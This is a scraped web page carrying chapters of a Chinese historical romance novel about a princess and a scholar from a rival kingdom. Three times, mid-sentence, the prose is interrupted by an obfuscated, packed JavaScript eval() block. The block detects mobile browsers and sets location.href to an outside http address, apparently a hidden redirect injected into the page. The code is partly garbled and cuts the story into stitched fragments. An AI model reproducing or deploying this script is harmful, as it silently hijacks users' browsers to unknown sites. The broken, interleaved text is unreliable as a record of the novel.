d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362238|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点桌上的茶杯,示意自己要喝水。 林徵鸣立刻将茶杯斟满,双手递给她。 宋庭玉却没有拿手来接,只是微微偏过头,挑起眼皮,饶有兴致地看着他,面上带着几分促狭。 林徵鸣面色如常地伸手,将手中的玉杯凑近她的唇边,她唇形饱满,淡淡的粉色中透着一丝苍白,他垂下眼睛,不敢多看。 宋庭玉见他没有半分勉强的神色,顿了顿,接过已经递到自己唇边的茶杯,偏头避让开他,自己喝了一口。 林徵鸣的眼底露出淡淡失望的神色。 她没看见,将茶杯放在桌上,才开口道: “元夏重文,文人若想扬名天下,自然要从诗文上下手。修史编书自然有翰林院去做,可近几年民间文风兴盛,各家诗会上流传出的诗文都被整理成册,很受欢迎。陛下喜爱作诗,也鼓励后宫妃子写诗,各宫娘娘的诗作都放在文渊阁,其中不乏才情出众之作,却无人问津。你若能下功夫,将娘娘们所做诗文编集成册,可为天下女子所学,如此另辟蹊径,定能入陛下之眼。” 林徵鸣犹豫:“此事虽好,可毕竟关系重大,在下才疏学浅,不知能否胜任。” 宋庭玉挑眉:“怎么?你也觉得内宅戏作不能为外人道也?或是后妃之作,入不了你大才子的眼,让你扎进女人堆里,是屈才了?” 林徵鸣忙道:“在下绝无此意,文采好坏,应看文章本身,作者是男子或女子并不重要。” “那你还推辞什么,去做就是了。”宋庭玉浑不在意,像是随口吩咐了一件微不足道的小事。 林徵鸣只得答应下来,背地里,暗暗叹了一口气。 枕楼对面酒楼二楼的雅间,一扇窗户轻轻关上。 “荣安,你怎么了?” 房间里坐着三个锦衣华服的年轻女子,说话的那个是个圆脸,神情娇憨,坐在桌边剥着手里的核桃,边吃边有些疑惑地看着窗边的女子。 窗边那个收回关窗的手,她一身水红宫装,头上金银珠翠无一不华丽,长相明艳,只是她此刻蹙着眉,有些惴惴道: “我看着那家丁有些眼熟,像是惯常跟着哥哥的。” “啊?”桌边的女子口中的核桃都不香了,她瞪大眼睛惊呼: “原来是曹表哥啊,我说呢,怪不得那么横!这种事情若是让你姑母知道了,肯定又要发火。唉,不过发火有什么用呢,曹表哥还不是照样我行我素。你整日操心他,哪里操心得过来!” 荣安狠狠一噎,见她这副没心没肺的样子,登时也恼了,一把夺下她手中的核桃扔在桌上,气道:“吃吃吃,你就知道吃!” 圆脸姑娘撇了撇嘴,知道她平日性子宽和,此时定是心绪不佳才发了火,有些恼恨自己不会说话,又忍不住委屈,支支吾吾、磨磨蹭蹭地挪到一边,想从另一个姐妹处找些安慰,谁知她也愣愣地出神。 “幼宜,你又怎么啦?你们两个你们两个人今天真是奇怪,不是说好出来听曲吃饭的,怎么曲也不听,饭也不吃,都坐到窗边发起呆来了。” 被唤作幼宜的女子回过神,一张芙蓉美人面,眉眼含情,有些别样的气质。 “没什么。”她强自挤出一个笑来。 “她这是终于见到日思夜想之人的真容,满腹情思头昏昏呢!” “荣安,你胡说什么!”幼宜恼了,脸上微微泛起薄红。 “那又怎么,我又没说错。不过如果我没看错,刚才那船上的像是昭平公主,你说,你仰慕之人怎么会和她在一起?”荣安也坐在桌边,拿起刚才的核桃接着剥。 “你们在说什么啊?什么倾慕之人?哪个是昭平公主?”圆脸姑娘懵懵的,有些听不懂姐妹们在说什么。 荣安揪了一下圆脸姑娘的脸蛋,嘲笑道:“青禾呀青禾,我就说你整天就知道吃吧,你说说你,除了吃的你还知道些什么?” 青禾有些不高兴,撅着嘴在一边不说话了。 幼宜道:“没有什么倾慕之人,还有荣安你不要总是欺负青禾。” “还说没有倾慕,人家写的诗你怕是都背下来了吧!”荣安笑着,心里却还是有些不安,想了半晌,起身道: “我不和你们说了,我得赶紧回府里看看。”说着荣安便起身告辞了。 幼宜转头再次望向刚才画舫停着的方向,想起那个修长挺拔的身影,心头砰砰直跳。 6. 童谣 林徵鸣现在和秦问竹住在城东的祥安客栈,赶上吃晚饭的点儿,大堂坐满了人,小二端着巨大的托盘穿梭其间,上菜不停。 “借过借过!” 三五成群聚在一起饮酒划拳的客人喊声冲天,本就炎热的天气里酒气蒸腾,夹杂着各种各样饭菜的气味,混合在一起,着实不好闻。 他艰难穿过人群上了二楼,期间还不慎撞到了一个喝醉酒的男人,那男人脚步趔趄没有站稳,扶了林徵鸣的胳膊一把,在他的白衣上留下一个油乎平的手印。 林徵鸣忍耐到了极限,三两步上了楼,转到最里面的房间推门进去,紧紧关上门才喘了一口气。 紧闭的房门隔绝了楼下吵闹嘈杂的声音,他十分嫌弃地看着自己衣服上的油渍,艰难伸出两根手指,脱了衣裳,团成一团扔在门口。 小二正忙着,没时间给他烧水沐浴,他只好将就净了手,坐在一边等。 秦问竹掀开帘子,从里间出来,见他回来,有些惊讶: “怎么早就回来了?公主没留你用饭?” 林徵鸣冷淡:“你当昭平公主府是什么路边的馆子,随意便可进去吃一顿再出来?” 秦问竹讪笑:“你不是做了公主的幕僚,还最近不是经常在公主府用饭,你现在可是公主府的红人。” 林徵鸣没有说话,起身打开了窗子。房间的窗户不临街,外面就是幽静无人的后巷,没有源源不断飘上来的饭菜和油烟味,总算让人心情舒畅了些。 秦问竹没有察觉到他的冷淡,或许是察觉到了,但是并不放在心上。拎起他扔在门口的衣袍,啧啧感叹:“这衣裳还挺好的呢,料子多讲究,你就这么扔了?” 林徵鸣简直要烦死他的喋喋不休,不耐道:“你若想要拿去就是。” 秦问竹顿了顿,将衣裳扔回原地,翻了个白眼,嘟哝道:“以为谁都像你这么阔绰,花的还不是大学士的钱,又不是真的公子哥,装什么阔呢。” 他坐在榻上挠了挠头,仿佛刚才当面说人的不是他一样,嬉皮笑脸道:“你在公主府当差,可有银子拿?昭平公主得了皇帝那么多赏赐,怎么也不见赏你些什么?你若嫌这里吵,咱们租个院子、换个住处不就行了?” 林徵鸣不搭理他,看着窗外来来往往的人群,像是没听见。 秦问竹突然想起什么似的,起身凑到林徵鸣身边,小声道: “你今日和公主去游湖啦?那个公主还挺善良的嘛,不像他们说的那样动不动拿鞭子抽人啊!” 林徵鸣意识到什么,猛然回头看他:“你怎么知道?你做了什么?” 秦问竹被他冷厉的神情吓了一跳,缩了缩脖子,理直气壮道:“怎么?我不就是往公主府再安插一个人嘛,我这也是为了你好,你孤身一人,如今也好有个照应……” 林徵鸣想,是为了监视我吧。 “那个人是你找来的?” “我哪有那么大能耐,是殿下的人,怎么,没想到吧?小小年纪已经是武艺高强的玄林卫了,哼哼。” 他洋洋得意,似乎在告诉林徵鸣:殿下不放心你,派人看着你呢! 可惜林徵鸣并没有露出他想看的神色,脸色依旧是一如既往的平静。 “哦。” 秦问竹一哽,识相地换了个话题:“你进了公主府,可有《神兵》的线索?” 林徵鸣看他的眼神像看傻子:“这十日,公主有没有见我,你不清楚吗?” “那我不就是问问……” 秦问竹嘟嘟囔囔地,心里嘀咕林徵鸣的脾气怎么越来越大了,骂骂咧咧进了里屋。 林徵鸣看着他的背影,眼底浮现一抹狠厉。 深夜,公主府的书房里依旧点着灯,忍冬端着一个托盘,穿过垂花门走进来,带刀护卫目不斜视。书房门外站着几个小丫鬟,年龄都不大,其中一个还是李介来时躲在门后、哭得手足无措的,此刻却脸色严肃,眼神锐利,腰间配着软鞭,分明是经过严格训练的护卫。 忍冬行至门前,两个护卫点点头,替她推开门。 灯下,宋庭玉正看着一封信,微微蹙眉,悦动的烛火在她脸上投下浮动的光影,灯下看美人,可这美人却是有毒带刺的。 “殿下,用些汤点吧。” 忍冬上前将托盘放在桌上,打开盖子,里面是炖的软烂的雪耳燕窝。 宋庭玉将手中的信凑近烛火,火舌瞬间舔上信纸,像焦黑的蝴蝶从她手中飞跃耳动。她变换着手,将燃起的纸扔到一边的铜盆里,才拿起托盘中的银匙,想了想,问道:“今日救下的那个小姑娘如何了?” 忍冬回:“菘蓝带着人去看了,那小姑娘叫杨珠儿,确实住在李家庄,家中有个老父已经停灵多时,却没钱安葬,她拿着咱们给的银子安葬了她父亲,就说要跟着回来,到府中做事。虽说看着是没什么问题,菘蓝却觉得谨慎为好,暂时将人放到了庄子上。” 宋庭玉道:“抓她的家丁查清楚了吗?” “查清楚了,是曹家的,曹二公子前些日子到枕楼听曲儿,适逢杨珠儿被卖到枕楼,老板让她接客,可巧让曹二公子看上了,就给人赎了身,还要将人拉回去做通房丫头。王都中人谁不知曹二公子暴戾狠毒的名声,跟了他才是跳火坑呢。还好杨珠儿机敏,找个空子逃了出来,被咱们遇上了。” “曹二公子,曹文益。”宋庭玉沉思着:“杨珠儿一个弱女子,怎么逃出来的?” 忍冬听她话中有话,思索片刻道:“是有些奇怪,殿下觉得有问题?” 宋庭玉摇摇头:“你说那杨珠儿家里就剩她一个人了?”她沉吟片刻:“让她先在庄子上,同织娘一起做些事,派人看着些,有什么异动立刻来报。” “是!” “玄明道人可有消息? “回殿下,影一已经带人去查了,目前还没有消息传回来。” “玄明道人四海为家,又是难得的世外高人,行踪不定也是正常,只是此间事急,断没有本宫白白等着他的道理。万寿节就在年底,寒若观将赶在万寿节前建成,无论如何,也要在那之前给本宫把人带回来!” 忍冬再次应下。 “还有什么事?”宋庭玉挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362239|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉。 忍冬双手呈上一个礼单,面露犹豫:“是贵妃娘娘送来的。说来奇怪,怎么殿下进宫一趟之后,贵妃娘娘总是送东西过来,咱们平日里同她也没有往来啊。” 宋庭玉摆摆手:“不必看了,你去库房里挑着几样合适的东西回了就是。”她不是不好奇颖贵妃为什么对自己示好,只是事发突然,她总要观察一番再下定论。 况且…… 她看着忍冬手里的礼单,突然道:“春花宴的帖子,日后也给贵妃娘娘送去一份,她若肯来,那再好不过了。” 忍冬带上门出去,宋庭玉独自坐在灯下看着手里的密报。三月的天气,屋子里还有些凉,放在桌上的汤渐渐没了热气。她夜里惯常睡不着,自己也不强求着躺下,只靠在桌边眯起眼睛打个盹,没想到就这样睡了过去。 于是,她又在梦里看见了那片大火。 吞噬一切的热浪,铺天盖地,如同一个巨大的怪兽,张开了血盆大口,没有人能够逃脱,她自然也不例外。她呆呆地站在原本精致典雅的宫殿前,看着它渐渐被火焰淹没,化作其中的新柴,加速它的燃烧,反哺它的蔓延。 她仿佛不会说话,只能眼睁睁看着火焰将一切都变成废墟,她想大声喊,却无论如何都张不开口。 只有一个声音,反反复复在她耳边念着: “燕儿过南山,四五成一行。垂柳北口处,老翁看天忙。” …… “燕儿过南山,四五成一行。垂柳北口处,老翁看天忙。” “殿下,您说什么?”公主府的管家陈伯摆好一桌琳琅满目的小吃,看着宋庭玉眼下淡淡的青黑,面露心疼。 “没什么。”宋庭玉摇摇头,没什么精神地拿起碗中的瓷勺:“陈伯,你可还记得母亲儿时喜爱唱什么童谣?” 陈伯一愣,放下手中的托盘,脸上带了几分怀念的神色,细细思索片刻才道: “小姐小时候乖巧得很,不需要人多哄,一沾枕头就睡着了,乳母们都夸小姐完事不挂心,是个有福气的人。后来,小姐聪慧,开蒙又早,平日里念的都是先生教的诗词文章,没听说有什么童谣。”他顿了顿:“殿下,为何突然问起这个?” 宋庭玉淡淡一笑:“没什么,只是昨日梦到母亲,突然想起来罢了。” 陈伯叹了一口气,知道她平日嘴上不说,可哪有孩子不思念母亲的?老夫人身体不好,他们几个元帅府里的老人幸得公主庇护,才没有落得老无所依的下场。宁家如今人丁凋敝,就靠着公主一人苦苦支撑,实在是艰难。 他知道宋庭玉夜里睡不着觉,想劝慰几句,可又不知从何说起,看着她对吃的东西也提不起兴趣,心里更是着急,不由想:什么时候能有一个贴心人在公主身边就好了,时时宽慰几句,也好过什么都憋在心里。 他轻手轻脚退了出去。 宋庭玉没有胃口,简单用了几口,就懒懒扔了筷子,心里还思索着昨夜梦里的那句童谣,正出神,就听忍冬脚步匆匆赶了进来: “不好了殿下,林先生被赶了出来,要露宿街头了!” 7. 归巢 城东的祥安客栈门口,秦问竹正和店主打口水仗,他虽自诩读书人,其实读得一窍不通,与林徵鸣的水平差不了多少。 只是林徵鸣天生聪慧、气度不凡,站在那里就有一种高深莫测的唬人气质。他却常年同纨绔子弟游走市井之间,骂人的话学了不少,与祥安客栈的胖掌柜你一句我一句,骂得有来有往。 “我还没找你赔银子呢,你还好意思找我要房钱?昨天夜里遭了贼,将我的东西全都偷走了,幸好是没出人命,不然我定要你知道小爷的厉害!” 秦问竹边跳脚边骂,他比胖掌柜矮了半个头,看起来气势上矮了一大截,于是他站在门口的石墩子上。 胖掌柜早就看这两个人不顺眼了:姓林的一介白身,没什么本事,屁事儿不少,整日要这个要那个,以为自己是谁呢?姓秦的更不是个好东西,在元夏王都端着公子哥儿的架势,对谁都是一副颐指气使的模样。前几日又和楼下几个凌寒书院的几个学生争执起来。 笑话,那可是凌寒书院啊,屋顶上的转头落下来都能砸死一片达官贵人家的公子少爷,他哪里能得罪的起? 胖掌柜心一狠:正好趁着这件事,将这两人赶出去,省得将来惹出大麻烦! 于是冷笑一声:“笑话,我祥安客栈在王都开了十几年,从未有遭贼之事,况且这客栈里住着这么多人,怎么就只有你们的东西丢了呢?怕不是要讹我!大家伙儿评评理,是不是讹人呢!” 围观的百姓看了半天,一个货郎点头道:“掌柜说得有理啊,若是真的有贼,怎么就偷你们一家呢?” 秦问竹气道:“我哪儿知道!怕不是我们东西多,贼这一趟就拿够了呢?” 围观众人哄堂大笑,议论纷纷: “贼还能嫌东西多?” “我看就是他们讹人家掌柜,读书人家家的,怎么能做出这种事!” “我看不一定,看着两位公子也是有身份的人,不会做赖账的事,应该是真的遭了贼。” “掌柜的,不如报官吧!”人群中有人喊道。 “对啊对啊,既然说不清,不如报官,看看店里还有没有丢了东西。” 胖掌柜眉头一皱,他自然清楚店里没有丢东西,也清楚昨晚恐怕是真的遭了贼。但他并不想因为这样的事情惊动官府,粗声道: “我店里丢没丢东西我自己不知道吗!” 秦问竹在日头下骂了半日,早已头晕眼花,这会儿一屁股坐在石墩子上,愤愤哪囔道:“小爷岂会赖你的钱,真是岂有此理!” 林徵鸣本来站在人群中一副事不关己的样子看热闹,远远地见宋庭玉带着忍冬过来了,走到秦问竹身边,拍拍他的肩头道:“你先起来,我们不能去见官,我们两个外乡人,手里又没有证据,强龙还要避一避地头蛇呢。” 秦问竹这会儿满腹委屈,他想起自己在大梁的时候,呼朋引伴、打马游街,走到哪里不是前呼后拥、人人巴结,别说付钱了,求着他泰大少爷赏脸光顾的酒楼都能从南梁排到元夏,何曾受过这种委屈!又想到自己自从来了元夏,成天住在这个破客栈里,吃不好穿不好,没人陪他玩不说,还要处处遭人白眼,一时之间前些日子做的加官进爵的美梦如一枕黄粱,现在他只想回家去。 他站起身,带着哭腔道:“我要回家。” 林徵鸣皱眉,拍拍他的肩,道;“你先冷静一下,还没到无路可走的时候。” 秦问竹此时听不进他的任何话,一把拍开林徵鸣的手,嚷道:“小爷要吃饭,吃完饭就要回家!你还有银子吗?” 林徵鸣从袖笼里掏出几块银子递给他:“这是最后的盘缠了,你悠着点花,吃完就在原地等我,之后的事我们再商量。” 秦问竹一把夺过银子,没有理他,推开围观的人,头也不回的走了。 林徵鸣目光沉沉地看着他的背影,半晌才收回目光,对着胖掌柜道:“是否遭了贼,掌柜心里有数,我们初来乍到,无权无势,即使糟了劫难,也难得清白。既然掌柜执意撵人,那此事便到此为止吧,东西我们不要了,希望掌柜也不要得寸进尺。” 他漆黑幽深的眼睛看着胖掌柜的脸,面无表情。 胖掌柜被他这陡然而生的气势惊了一跳,咽下口水,舔了舔唇,也是见好就收: “房钱已经结清了,就这样吧。走了走了,进去了,看什么热闹,生意还做不做了!” 胖掌柜进了客栈,林徵鸣垂眸片刻,默默转身离开客栈。 围观的人群不知道一向吝啬的胖掌柜怎么就松口了,还以为是林徵鸣的几句凛然正气的话震慑住了他,议论纷纷。又有人说林徵鸣就是之前东宫诗会的魁首,王都百姓惊讶:“那这个书生真是有两把刷子啊!” “我听人说,前朝有书生曾在阵前以三寸不烂之舌退了十万大军,想必就是这样的人物吧。” 传着传着,就变成“南梁那个姓林的读书人能一人抵挡十万大军”,听得外来人一愣一愣,这究竟是书生,还是神仙啊? 人群中,一个不起眼的布衣男子露出苦笑,颇有些“众人皆醉我独醒”之感。 他望着林徵鸣渐渐远去的背影,心下打了一个寒战。 昨夜,他在芷水河畔溜达,准备干上一票就收工回家,看这个公子衣着打扮贵气十足,且孤身一人,又是个读书人,想必不会发觉,便偷偷摸摸顺走了人家的钱袋。结果还没转出街巷,就被人逮了个正着。 这公子也不知道学的是什么功夫,一手捏住他的腕子,他就疼得动不了。 他连声求饶,将钱袋奉上,只求不要去见官,谁知这公子拿了钱袋后,告诉他当天夜里到样安客栈的天字一号房,将里面客人的钱财包裹全部拿走,他保证不会被人发现,得手之后那些东西就是他的,可保他几年荣华富贵。若是不干,就拉他去见官。 他害怕极了,连连道饶,这人又说那天字一号房就是他住的房间,不必害怕,只管去拿。 他满腹疑惑,又不敢不听。当天夜里战战兢兢去了样安客栈,果然轻松得手。 这会儿,他全程目睹了祥安客栈门前的一幕,实在不清楚这锦衣公子打的到底是什么算盘,又恍然惊觉:自己这下是真的发财了! 这厢,林徵鸣见秦问竹拿着银子,进了常去的一家酒楼,摇了摇头,叹了口气,站在街边有些茫然。 宋庭玉就站在巷口,看林徵鸣垂头丧气,像被主人丢了的小狗,眼里带着几分茫然无措,狠狠皱了皱眉。随手拿起一块碎银向他胸口砸去。 “砰”一下,砸在他的肩上。 林徵鸣一愣,手忙脚乱地接了一下,但没接住,抬眼一看,看到是她,眼神亮了亮,写满忧愁的脸上绽出一个柔和的笑。 他俯身捡起那块儿掉落的碎银,快步走到她身边站定,惊喜道:“殿下?” 宋庭玉翻了个白眼,语气里带了几分恨铁不成钢:“本宫若不来,恐怕还不知道公主府上的幕僚就是如此受人欺负、遭人白眼的。” 林徵鸣脸上露出一个不好意思的笑,柔声道:“罢了,他也是不知道,况且此事我们又没有证据,空口无凭的,人家不信我们也是情有可原。” 她看他的眼神像是在看一个什么绝世“大善人”:“你这么逆来顺受的,走到哪儿不被人欺负?何况,你没有告诉他你如今在公主府做事?” “就是因为在公主府做事,才更要谨言慎行,不能辱没了殿下的名声。” 他越是善解人意,宋庭玉听得越生气:“本宫让你做公主府的幕僚,就是保你不受冷待的,如今,那掌柜不分青红皂白血口喷人,你们就应该去报官。自己丢了东西,怎么反倒让他人污蔑了?” “算了吧,不惹事了。”他摇摇头,垂着脑袋,看不清表情。 宋庭玉知道,他这是初来元夏,还顾忌自己南梁人的身份,怕受到官府的苛待,心里一叹,她倒是有心替他讨回公道,可看他这副自己都不在意的样子,她又何必上赶着。 堂堂公主,断没有让人求自己帮忙的道理。 她神色冷了几分:“现在,你打算怎么办?” 林徵鸣叹了口气:“银子都被问竹拿走了,他说要回家去……哦,问竹是我的同窗,自小被家里宠着长大,吃不了苦。我么……” 他环顾四周,开了个并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362240|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好笑的玩笑:“身无分文,也许今晚就要露宿街头了。” 宋庭玉生气,不想搭理他,可转过脸时,又无意中瞥见他的脸。 虽然笑着,可眼底却带着愁绪和迷茫,漂亮的眼尾微微耷拉着,没什么精神,脸颊上还有一道不知哪里蹭来的灰,看着又可气又可怜。 她想,他吃不了苦,你就能吃得了吗? 可他毕竟是个读书人,有些傲气,羞于开口也是正常的。 “你就没想过搬进公主府里来?你如今是本宫的幕僚,住进公主府也是应该的。” “啊?”他惊喜又无措地看着她,像是没想到她会这么说,踌躇片刻,才低声道:“会不会,给殿下惹麻烦?” 宋庭玉不悦:“那你不要搬,睡大街算了,赶明儿你横死街头,本宫好心派人送你回南梁的。” “唉,哪有这样咒人的……”他嘟嘟囔囔,宋庭玉横他一眼,他立时收敛了神色,嘴角绽出一个月牙儿似的笑来:“那就多谢殿下了。” “哼。” 宋庭玉不理他,径自往回走,听着林徵鸣步伐轻快地跟在自己后面,脸上露出一个不明显的笑。 忍冬在她身后一脸震惊:啊?这就要住进府里啦?天哪,老夫人知道可怎么办啊! 她愁眉苦脸,可是殿下看起来实在是心情很好的样子,要不要去提醒一下啊…… 宋庭玉可不管忍冬如何纠结,她难得兴致盎然,带着人进了府,穿过回廊,到了后院。 这是林徵鸣第一次进公主府的大门,他克制着眼睛没有多看,规规矩矩的,十分有世家公子的礼仪,让人多了几分好感。 宋庭玉叫来陈伯,让他在临水阁给林徵鸣收拾出一间房来,转头道:“这是府里的管家陈伯,你有什么事可以同他说。” 陈伯面容严肃,向林徵鸣微一躬身:“林公子。” 林徵鸣见老人头发花白,但目光炯炯、精神矍铄,看着自己的神情带着几分审视,心里一紧,乖巧道:“陈伯,麻烦了。” 宋庭玉怕他不自在,又嘱咐道:“陈伯,以后林先生就住在府里,他是读书人,喜欢安静,你让底下人平日不要过多打扰。”又转头问他喜欢什么熏香、爱用什么料子的衣裳、用膳有什么忌口,让陈伯一一记下,命人安排妥当。 陈伯点头称是,目光平和,心里却对林徵鸣十分好奇:还从未有一人,得自家殿下如此上心。这位林公子,一定是很有本事,才能让他家殿下如此青眼相加。 宋庭玉回过头,见林徵鸣好奇地打量着眼前的院子,温声道:“这地方临水,一年四季景致好,旁边还有一座藏书楼,你闲时可以去看看,日后就安心住下,不必拘束。” 林徵鸣点点头,看着她的神情难以形容,像是有什么话要说,却又被他生生压了下来。 她微微一顿:“我看出来,你的同窗与你实非一路人,他卷走银子,不顾你的处境,你也不必对他心软。”想了想,又嘱咐道:“人心难测,日后你出门行走,头顶上冠的都是公主府的名字,若有什么不长眼的东西,你尽管教训,本宫的人,断没有在外吃亏的道理。” “好。” 林徵鸣答应,脸上的笑像是从心底流淌出来的一般。 宋庭玉被他这笑容一晃,原本想告诉他以后编纂诗册,可以直接进文渊阁。可又想到他刚经历被人扫地出门的窘境,恐怕心绪难平,想想还是算了,编纂诗册嘛,改日再说。 嘱咐他好好休息,自己回了书房,因此她没有看见林徵鸣在她转身时,一双微微泛红的眼睛。 等到宋庭玉走了好久,林徵鸣才回过神,望着眼前这一处精致的小楼,心头涌上一股热流。 那是一种久违的安宁。 他年少漂泊,颠沛流离,如一只漂萍无依的飞鸟,即使偶有驻足,也只是短暂停留。 没想到,在离故土万里之外的元夏,在一个素昧平生的女子这里,他感觉自己找到了可以容纳他的巢穴。 一个温暖的、永恒的、不会倾覆的巢穴,让他可以停留在这里,梳理自己疲惫的羽毛,然后拥有一个不会被惊醒的、安宁的梦境。 8. 文新其人 “驾!驾!” 公主府后面的翠屏山,重峦叠嶂、树木林立,密密匝匝的钻天杨遮天蔽日,形成一道天然的屏障。屏障内,竟是一处小校场,深藏于人来人往的王都中却无人发现,不可不说心思大胆,又极其缜密。 此刻,虽然校场内的地上提前洒了水,可还是经不住快马一圈圈飞驰而过,扬起的漫天尘土。宋庭玉一身黑色骑装,身下是一匹毛色黝黑的高头大马,只有鬃毛边上有一道白,飞驰起来时犹如划过夜空的一道闪电,带着撕裂天幕的力量。 这是名扬天下的神驹乌夜雪,天底下没有几匹,宋庭玉的这匹“灵晔”更是其中翘楚。 她在马上侧腰俯身,仅靠双腿的力量紧紧夹住马鞍,从后背的箭筒里取出一支箭,飞驰中引弓搭箭,找准机会稳稳射出。没看有没有射中,又在马上轻巧地换了个方向,塌腰伸展,连射三箭,然后一个鲤鱼打挺从马背上坐直,拉起缰绳越过高栏,才收紧缰绳,让马缓缓停下来。 远处站在靶子附近的小太监跑过去看了看,举起手中红色的旗子使劲挥了挥。 宋庭玉轻飘飘看过一眼,并不在意,翻身下了马,接过忍冬递上来的帕子,擦了擦额头的汗。 “殿下的骑射又精进不少。” 校场边站着一个黑袍男子,兜帽戴在头上,遮住了他一半的脸。 宋庭玉摇摇头,没说话,又接过忍冬递上来的杯子,浅浅饮了一口茶。 黑袍男子待她喝完了茶,才道:“陛下允准殿下进文渊阁听讲,可喜可贺。” “不过是进文渊阁,才刚刚开始呢。” 男子点了点头:“殿下聪慧擅谋,如今也是开了个好头,日后定有机会更进一步。”他顿了顿,像是不经意道:“听说殿下将那个南梁的读书人收进了府中做幕僚?” 宋庭玉挑眉:“先生如何得知?” “殿下如今也是前朝后宫炙手可热的人物,一言一行,自有人留意。” 她挑起嘴角:“本宫在王都,可从未如此炙手可热过,如今也是沾了几位读书人的光。” 黑袍男子脸上露出几分不赞同的神色:“殿下还允他进文渊阁查阅书籍?一个从南梁来的不知底细的书生,殿下还是警惕小心些,非我族类,其心必异。” “族类?先生何时也讲起这些狭隘的话了?论文章造诣,难道不该是我们向南梁学?如曹文益之流都能靠着家族荫庇入朝为官,林徵鸣能在东宫诗会一举夺魁,自然更有资格进文渊阁。” 黑袍男子叹了口气:“我相信殿下是看中了他的才学,可是传出去毕竟不好听,于殿下名声有损。” 宋庭玉冷冷一笑,不置可否。 黑袍男子见劝不动她,也沉默下来。这几年,宋庭玉越来越有上位者的气势,他虽是她的老师,可也是臣下,有些话只能点到即止。 宋庭玉不愿与他谈这件事,想了想,道:“先生去后院上柱香吧,眼见着马上要清明节了。” 黑袍男子没有说话,但是身上平和的气息一下子沉寂下来,他顿了顿,才哑声道:“好。” 两人一同出了校场,从小校场走到公主府后门有不远的距离,两人都没有说话,只是任由一阵压抑的沉默在二人之间蔓延。 从后门进入,穿过后花园就是灵堂,宋庭玉推开门,男子在门外站了几个呼吸,才平复心情跟着走进去。 灵堂比上次宋庭玉跪拜时明亮不少,案桌上放了很多时令的鲜花和果子,一簇簇海棠在灵前开得艳丽,花瓣上还带着新鲜的露珠。 黑袍男子看着海棠花微微一愣,半晌才低声道:“她生前最喜爱海棠。” 宋庭玉低垂着目光,没有说话,不知在想什么。 男子也不需要她有所回应,这只是他说个自己听的,他径自上前,缓缓抬起手,慢慢摘了兜帽,依稀光影间露出一张中年男子的脸,正是当朝中书令、文渊阁大学士,吴文新。 他此时不复朝堂上威严庄重的神态,从踏进灵堂的那一刻起,他挺直的背就微微弯了下来,能让人感觉到,半生沧桑在他身上留下了不可磨灭的印记。 他看着灵位上的名字,苦笑道:“沅娘,我已经老了。” 他深深低下头,仿佛一颗头颅重达千钧,他已经无法承受,又仿佛这些年走的每一步路都在低头的瞬间倒转方向,变成漫长看不到头的重负压在他的肩上。 宋庭玉站在原地踌躇片刻,默默转过身,出了门。 她站在廊下,抬眼看着湛蓝如洗的天空,灵堂的飞檐翘角挡住了一部分视线,回廊的琉璃瓦当又挡住了另一部分视线,让她极力垫脚,也只能看到一片被分割成端端正正的四方形的天空,碧蓝入洗,没有云彩,也没有飞鸟。 她忽然感到有些憋闷,开始想去校场上骑着马跑一圈,不,不是校场上,是草木葱茏的翠屏山,是空旷无人的出城官道,是一望无际的大草原。 她忽然想起自己的舅舅,威远大将军宁思清就镇守在遥远的北方鄂州。 宋庭玉还记得小时候有一次舅舅回来,将自己抱在膝头,给自己讲鄂州城粗犷、豪爽的民风,讲就辽阔的北方草原,讲牛羊成群、水草丰美。他说草原的风很大,起风时可以听到风里远方亲人的呼唤。 她问,舅舅,你听到我在叫你吗? 宁思清脸上露出苦涩的笑,舅舅不用借着风,就能听到小玉儿在叫舅舅。 那时她不懂明明是很浪漫的描述,外祖母为何心碎地用手帕拭泪,如今她明白了,却也没办法告诉舅舅。 整整十七年,她们见面的次数屈指可数。 舅舅回家的次数越来越少,外祖母身边只剩下她一个亲人,可她的存在却又一遍遍提醒外祖母,她失去的女儿,和远在天边的儿子。 她的身上有一半血,来自那个令外祖母骨肉分离的男人。 亲缘淡薄啊。 她苦涩地想。 不知舅舅看到她如今和外祖母矛盾重重,是不是会骂她没有良心,子肖其父。 不知过了多久,身后的门“吱呀”一声响,吴文新走了出来。 他眼眶泛红,没有戴兜帽,整个人身上散发着一种沉郁的气息。 他站在门口,同宋庭玉一样抬头望着四四方方的天空,沉默半晌,才道:“此后的路不好走,我恐怕也不能常来了,殿下要万般小心,万万不可行差踏错。” 宋庭玉点点头,见他神情萧索,没忍住劝道:“先生也要保重自身。” 吴文新想到以后来见宁思沅的次数恐怕越来越少,不免心头郁结,宋庭玉转移了话题:“舅舅今年能否回京?” 